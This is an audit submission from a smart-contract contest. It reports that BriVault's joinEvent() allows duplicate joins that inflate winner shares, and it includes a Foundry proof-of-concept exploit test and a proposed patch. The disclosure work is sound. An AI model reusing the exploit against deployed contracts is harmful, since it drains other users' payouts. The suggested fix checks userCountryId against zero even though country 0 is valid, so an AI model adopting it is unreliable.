BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Multiple Joins Inflate Winner Shares

0xnaresh

Multiple Joins Inflate Winner Shares

Description

  • Users call joinEvent(countryId) once to register their prediction and link their vault shares to a country. The function records userSharesToCountry[msg.sender][countryId] = balanceOf(msg.sender).

  • The function lacks a reentrancy guard or join-once check, allowing a user to call joinEvent() multiple times. Each call overwrites the same mapping entry but pushes the user to usersAddress[] again, causing _getWinnerShares() to double-count their shares in totalWinnerShares.

// @> joinEvent(): no check for prior join
usersAddress.push(msg.sender); // ← duplicates allowed
userSharesToCountry[msg.sender][countryId] = participantShares;
​
// @> _getWinnerShares(): loops over usersAddress[]
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // ← counts user multiple times
}

Risk

Likelihood:

  • Users call joinEvent() multiple times // occurs during UI errors, retries, or intentional abuse

  • setWinner() is called after multiple joins // standard post-event execution

Impact:

  • totalWinnerShares is inflated by duplicate entries // reduces payout per share

  • Legitimate winners receive significantly less than entitled // direct financial loss

Proof of Concept

Alice joins twice with 1000 shares. usersAddress[] contains Alice twice. _getWinnerShares() sums her shares twice, inflating totalWinnerShares to 3000. Bob, with 1000 shares and 2000 total assets, receives only 666 instead of 1000.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/briVault.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockAsset is ERC20 {
constructor() ERC20("Mock USDC", "USDC") {
_mint(msg.sender, 1_000_000 * 10**18);
}
}
contract BriVaultMultipleJoinsTest is Test {
BriVault vault;
MockAsset asset;
address owner = address(0x1);
address alice = address(0xA);
address bob = address(0xB);
address feeAddr = address(0xF);
uint256 startDate;
uint256 endDate;
function setUp() public {
asset = new MockAsset();
asset.transfer(owner, 100_000 * 10**18);
asset.transfer(alice, 10_000 * 10**18);
asset.transfer(bob, 10_000 * 10**18);
vm.startPrank(owner);
startDate = block.timestamp + 1 days;
endDate = startDate + 7 days;
vault = new BriVault(
IERC20(asset),
0,
startDate,
feeAddr,
0,
endDate
);
// set one team
string[48] memory teams;
teams[0] = "TotheMoon";
vault.setCountry(teams);
vm.stopPrank();
}
function testMultipleJoinsInflateShares() public {
// alice deposits once
vm.startPrank(alice);
asset.approve(address(vault), 1000);
vault.deposit(1000, alice);
vm.stopPrank();
// alice joins TWICE
vm.startPrank(alice);
vault.joinEvent(0); // 1st join
vault.joinEvent(0); // 2nd join → overwrites shares, but pushes to `usersAddress` twice
vm.stopPrank();
// bob joins once
vm.startPrank(bob);
asset.approve(address(vault), 1000);
vault.deposit(1000, bob);
vault.joinEvent(0);
vm.stopPrank();
// event ends, winner declared
vm.warp(endDate + 1);
vm.prank(owner);
vault.setWinner(0);
// === totalWinnerShares is inflated ===
// alice counted twice → 1000 + 1000 + bob 1000 = 3000
assertEq(vault.totalWinnerShares(), 3000);
// bob withdraws, gets only ~666 instead of 1000
uint256 bobBalBefore = asset.balanceOf(bob);
vm.prank(bob);
vault.withdraw();
uint256 payout = asset.balanceOf(bob) - bobBalBefore;
assertEq(payout, 666); // 1000 * 2000 / 3000
// vault has 1334 left (should be 0)
assertEq(asset.balanceOf(address(vault)), 1334); // 2000 - 666
}
}

Recommended Mitigation

- function joinEvent(uint256 countryId) public {
+ function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
+ // @> Prevent multiple joins and duplicates
+ if (userCountryId[msg.sender] != 0) {
+ revert AlreadyJoined();
+ }
+
userCountryId[msg.sender] = countryId;
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}

  • Requires userCountryId mapping. Add custom error: error AlreadyJoined();

  • Use a mapping to track joined users instead of pushing to array multiple times.

Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!